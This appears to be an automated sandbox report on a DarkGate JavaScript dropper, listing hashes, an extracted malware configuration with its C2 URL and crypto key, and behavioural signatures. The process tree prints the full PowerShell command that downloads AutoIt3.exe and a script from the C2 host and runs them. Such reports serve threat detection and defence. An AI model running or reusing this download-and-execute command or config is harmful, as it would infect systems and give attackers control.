Analysis
-
max time kernel
144s -
max time network
148s -
platform
windows10-2004_x64 -
resource
win10v2004-20231020-en -
resource tags
arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system -
submitted
30-10-2023 16:19
Static task
static1
Behavioral task
behavioral1
Sample
31102023_0018_sta.js
Resource
win7-20231020-en
General
-
Target
31102023_0018_sta.js
-
Size
135KB
-
MD5
e8d3f1c032e4333cdeb1f88a463b1fd2
-
SHA1
4c5dbe8b97b8be956f00543731a63f7b1b007e30
-
SHA256
108d14d4973a937b7cc50efd9899c4eee458667810f9aae74e7eeba1312a9b73
-
SHA512
cb4e6b08b0328cd05c43634809e5162f1009bebabcb370a20e84028f8cbb3413cc90f748c63498be02b33e6bec7bbc6bdfa6328b64da9494797d34badce30b7b
-
SSDEEP
1536:uZUTSCM9Cfq7u02PmUVdGXjXl4xc5KTPBoMqS7j8frPWgtZPnCUQrNgZnFFQE/0J:NT9U7hgaX6eerjqlI2IO6Mzqfh
Malware Config
Extracted
darkgate
ADS5
http://sftp.noheroway.com
-
alternative_c2_port
8080
-
anti_analysis
true
-
anti_debug
true
-
anti_vm
true
-
c2_port
443
-
check_disk
true
-
check_ram
true
-
check_xeon
true
-
crypter_au3
false
-
crypter_dll
false
-
crypter_rawstub
true
-
crypto_key
dUGMWnxBxUyxhC
-
internal_mutex
txtMut
-
minimum_disk
40
-
minimum_ram
7000
-
ping_interval
4
-
rootkit
true
-
startup_persistence
true
-
username
ADS5
Signatures
-
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid Process 16 1428 powershell.exe 28 1428 powershell.exe -
Downloads MZ/PE file
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
wscript.exedescription ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3350690463-3549324357-1323838019-1000\Control Panel\International\Geo\Nation wscript.exe -
Executes dropped EXE 1 IoCs
Processes:
AutoIt3.exepid Process 2016 AutoIt3.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
AutoIt3.exedescription ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 AutoIt3.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString AutoIt3.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid Process 1428 powershell.exe 1428 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid Process Token: SeDebugPrivilege 1428 powershell.exe -
Suspicious use of WriteProcessMemory 5 IoCs
Processes:
wscript.exepowershell.exedescription pid Process procid_target PID 2240 wrote to memory of 1428 2240 wscript.exe 86 PID 2240 wrote to memory of 1428 2240 wscript.exe 86 PID 1428 wrote to memory of 2016 1428 powershell.exe 95 PID 1428 wrote to memory of 2016 1428 powershell.exe 95 PID 1428 wrote to memory of 2016 1428 powershell.exe 95
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\31102023_0018_sta.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2240 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://sftp.noheroway.com:443' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://sftp.noheroway.com:443/msiydguxwlx' -OutFile 'ydguxwlx.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'ydguxwlx.au3'"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1428 -
C:\tepp\AutoIt3.exe"C:\tepp\AutoIt3.exe" ydguxwlx.au33⤵
- Executes dropped EXE
- Checks processor information in registry
PID:2016
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
872KB
MD5c56b5f0201a3b3de53e561fe76912bfd
SHA12a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c
-
Filesize
872KB
MD5c56b5f0201a3b3de53e561fe76912bfd
SHA12a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c
-
Filesize
493KB
MD51a580b40d441954f9b5f1febeb37f329
SHA15fb9ae7685dca8a5fc76f4a42e22f9898d423d6f
SHA2564f5bf06ec47409e15cba34146cf7617deaa9c2b0924bdf84a59d6f4461a98eea
SHA5126a044f3690b8b66a4d28c09f5352392793cce344de26993100e4a7ce77369f5a7d1f9d7f0a74339ee1853c51f855c7336cc3529ca3db4a5e2ca68d899a2a36c3